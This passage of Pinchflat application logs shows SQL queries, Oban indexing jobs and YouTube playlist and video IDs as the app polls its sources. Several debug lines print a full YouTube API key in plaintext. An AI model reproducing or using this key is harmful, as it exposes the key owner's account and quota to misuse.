"media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [44] 17:37:57.240 [debug] QUERY OK source="tasks" db=0.1ms idle=115.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268522, 44, ~U[2026-10-09 22:37:57Z], ~U[2026-10-09 22:37:57Z]] 17:37:57.240 [info] {"args":{"id":44},"id":5268482,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":116994,"event":"job:stop","queue_time":521235,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:58.124 [info] {"args":{"id":7},"id":5268483,"meta":{},"system_time":1791585478124215995,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:58.124 [info] {"args":{"id":25},"id":5268484,"meta":{},"system_time":1791585478124245230,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:58.124 [debug] QUERY OK source="sources" db=0.2ms idle=884.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 17:37:58.124 [debug] QUERY OK source="sources" db=0.1ms idle=884.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [25] 17:37:58.124 [debug] QUERY OK source="settings" db=0.1ms idle=878.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.124 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.125 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:58.125 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:58.125 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.125 [debug] Fetching recent media IDs from YouTube API for playlist: UUnZx--LpG2spgmlxOcC-DRA 17:37:58.125 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.125 [debug] Fetching recent media IDs from YouTube API for playlist: UUZU9T1ceaOgwfLRq7OKFU4Q 17:37:58.125 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.125 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:58.125 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:58.125 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:58.362 [debug] QUERY OK source="media_items" db=0.5ms idle=237.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [25, "hsY3IJVKOcw", "a0YlDUdNjqc", "62hl5tFrodQ", "gStpYu84aRQ", "uKW8Td2gynY", "TpU_mB8MO4k", "EzkSQzP0ExQ", "kCuY95F6R40", "Xu7wneIzhPM", "IzNFKW9EIuA", "sZ1xZHqxah4", "55BSBuorfhQ", "Aw2XEiN1VNY", "IiH_inHowI8", "2uqbR-ntKdE", "0aa6XyEQgFY", "fMN1zdsyVTg", "vjcS8RKa194", "ocYp07IRgxQ", "_9adBz4FN5Y", "IYDwHD9p_qQ", "aSYbsUlefuk", "CZY_iUWtd5Y", "r3zmwPNRdPc", "_ZAEcUvqFnk", "ba1BfC-NO7s", "3gg3-t2CUn4", "pAwv29cLSq0", "GzJ7TaJIhhs", "Bc5RIeIjZT8", "t9XtC85e-tQ", "InaGX4XhPk0", "HSVmPi_p_GQ", "3Bp8fDX_9pY", "2xy8vg2WLz4", "bG0VnCUZm-s", "NIDy6_QXX-E", "Lhoi-gx3O9I", "6jLIm8Bt2dA", "8rf4YP-OlFs", "llaLuaNTA-Q", "QhxZ2JujRLs", "MEdMneWCqFA", "t0kErQN5pbM", "K7j9ONAplwY", "4rEcECZeyoE", "RwIhXqA7tQg", "_v18JX0Nwvk", "kZR4QlyyBO4", ...] 17:37:58.364 [debug] QUERY OK source="media_items" db=1.4ms idle=238.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [25] 17:37:58.365 [debug] QUERY OK source="tasks" db=0.1ms idle=239.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268523, 25, ~U[2026-10-09 22:37:58Z], ~U[2026-10-09 22:37:58Z]] 17:37:58.365 [info] {"args":{"id":25},"id":5268484,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":241395,"event":"job:stop","queue_time":237775,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:58.481 [debug] QUERY OK source="media_items" db=0.7ms idle=115.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [7, "YJYGJQeq9XA", "bMMG9TqH7Cg", "ivwGdPaEKgw", "MSim6wHctJs", "a-pw6MLvxG4", "iJFXHSikXAw", "cX4nq3oWHEs", "sx0pL-IG9ZY", "I18RjNvKBb0", "w3xqsMv6T_k", "UJLnAxofL4w", "461UOs0Bvpo", "eeeIX-jPCfU", "I_dqiK6FEUw", "1F0KOBiLPJY", "GOY1nrnGFoQ", "49AR2G__gbY", "moBfszFIlZU", "ooneAa4P_DI", "5qJ4lBwxSHs", "EGIq02dD1_o", "ud56dWtJZuI", "wQxngUFOoqY", "Moi8q2spry8", "tdkSl_8BMDM", "3gZQa8wvPyQ", "A-WuDVu8Aec", "inZfAQX-ikk", "A5fjsYyBYeM", "RHbqw8PpDrk", "9BfpQaUdIKA", "vS959lEUED0", "3HO-1R_ye40", "cWrGe7BDnHY", "Hih6I3DOPZQ", "BMNtRwFDB6s", "3IzWVKqW8LA", "1OJcqhrA0aE", "xfk3OnaKJRU", "W5PifMAnoJY", "zR4OJ9_S5mU", "KWWxrVzMk-s", "WNGbL6zTXg0", "XnuH8t5MmWU", "zNYsw-cW8v8", "vq4TbSxK0P0", "pgCBgctN_VU", "2SM3dlbe2S8", "vwLSANJYMf4", ...] 17:37:58.484 [debug] QUERY OK source="media_items" db=2.3ms idle=117.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [7] 17:37:58.485 [debug] QUERY OK source="tasks" db=0.1ms idle=113.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268524, 7, ~U[2026-10-09 22:37:58Z], ~U[2026-10-09 22:37:58Z]] 17:37:58.485 [info] {"args":{"id":7},"id":5268483,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":361456,"event":"job:stop","queue_time":496156,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:59.125 [info] {"args":{"id":38},"id":5268485,"meta":{},"system_time":1791585479125247528,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:59.125 [debug] QUERY OK source="sources" db=0.1ms idle=639.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:37:59.125 [debug] QUERY OK source="settings" db=0.1ms idle=639.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.125 [debug] QUERY OK source="media_profiles" db=0.1ms idle=633.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:59.126 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.126 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:37:59.126 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:59.126 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:59.259 [debug] QUERY OK source="media_items" db=0.6ms idle=133.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "RFdUqYYAok4", "d4OvQ3ab3LU", "2zW3Yfqguqo", "TliajZWaa6w", "KxPnKhHwTss", "CNXmT6_AgYI", "9MeAJILthTI", "Sa3rM0oMmII", "XI57UTwhiHk", "ViBIKuIjePA", "wk-5m6cDEFg", "0Tot2YHwYNw", "vXMKnG6EI-o", "qj89Pt8CG8Y", "0IEv_NJo28w", "jmg3WF44TX4", "dFAjDGLGGdo", "1YcOlzRT5fI", "kZRvqOLkYT8", "1Z7bFTHQVLE", "6bKxtOkucuE", "8W8aD92ICuA", "i302110skWk", "13rEmidnw4A", "-X2v_sQA-j0", "L0rHhCEKvgo", "nYD-kE0bAY4", "XUlR2DVedTg", "l2X92jlagKg", "1igbvUoJcP8", "7514uMl2EX0", "I3mHsRo707I", "fUxEAMiqGYY", "mD4HUXQMG2U", "f3q2mXFrACc", "g8YEYPROiwk", "slWVHwC-XHc", "iBfyeFSpPXU", "9kBUy4NgMAI", "cljD9rspFsA", "IM1njZ0AuP8", "gW-kYYBK5t4", "tobDwFmXHwQ", "8U8zEXmqpRI", "_E049Xhgah4", "Iwzmx_EyHJI", "TRMxPhMhq70", "FHvAe63pYvM", "IKVwG8AizeA", ...] 17:37:59.262 [debug] QUERY OK source="media_items" db=2.2ms idle=134.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:37:59.263 [debug] QUERY OK source="tasks" db=0.1ms idle=137.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268525, 38, ~U[2026-10-09 22:37:59Z], ~U[2026-10-09 22:37:59Z]] 17:37:59.263 [info] {"args":{"id":38},"id":5268485,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138225,"event":"job:stop","queue_time":469455,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:38:00.463 [info] {"source":"oban","duration":122,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:38:16.568 [info] {"source":"oban","duration":10220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":10} 17:38:46.578 [info] {"source":"oban","duration":10007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":5} 17:39:00.465 [info] {"source":"oban","duration":261,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:39:10.199 [info] {"args":{"id":19},"id":5268486,"meta":{},"system_time":1791585550199130696,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:39:10.199 [debug] QUERY OK source="sources" db=0.1ms idle=1852.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [19] 17:39:10.199 [debug] QUERY OK source="settings" db=0.0ms idle=1852.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.200 [debug] QUERY OK source="media_profiles" db=0.6ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:39:10.200 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.200 [debug] Fetching recent media IDs from YouTube API for playlist: UUk5aCrQAppGZ8atiOpgYZ1A 17:39:10.200 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:39:10.200 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:39:10.373 [debug] QUERY OK source="media_items" db=0.5ms idle=173.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [19, "naCTNxdZUJA", "W3qbEpIV6d4", "JPK6Tr1wizg", "KlkTi0h6KMw", "RMeAu8zYE0M", "Uvtj9sm0I-0", "IU1DgFBs7ts", "EkRq1nMOx9g", "DrDbZGDQIro", "hW4dvJT12VM", "B3vnE_bMu9g", "H4LWdyhRxIQ", "2Hm7RVlLJoE", "EfV91BjF5v4", "zL_s6dKitH0", "LzpVMWSROmY", "FaAHxpEdNck", "ToiduPpGIww", "nJ8fAfVevL8", "5jD4iU2_v4k", "IOuEO4Yaov0", "9sDIniWlIyw", "6VEm1oEv2UY", "gPyD2VYszUw", "zx5EqJCeYrk", "TbNdF9p7ZFY", "XiYTS435uuk", "b4CKcXNSNRc", "jAOobWqKaPQ", "yb5ybMem31Y", "5tPjlkyHJwI", "TlTDor_WXEo", "xnsHAYTNP5Y", "ojEWbNH0U_4", "4BvLKmBYOOo", "pMx1DnSn-eg", "Fp79NGnQBEw", "XUsoHp6_t2s", "VkZH3QYqD6U", "i55Pa_l8Xe8", "J7KVJ8D0AM8", "vlgFGxnHNMA", "Aa3KtmGEby4", "paX6IcPZPjM", "RvUrQWeK558", "n2qu3sMwexE", "hr7YFJ8iBL8", "YAhQJ08bzgs", "oPWfOh0LYZk", ...] 17:39:10.374 [debug] QUERY OK source="settings" db=0.0ms idle=174.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", 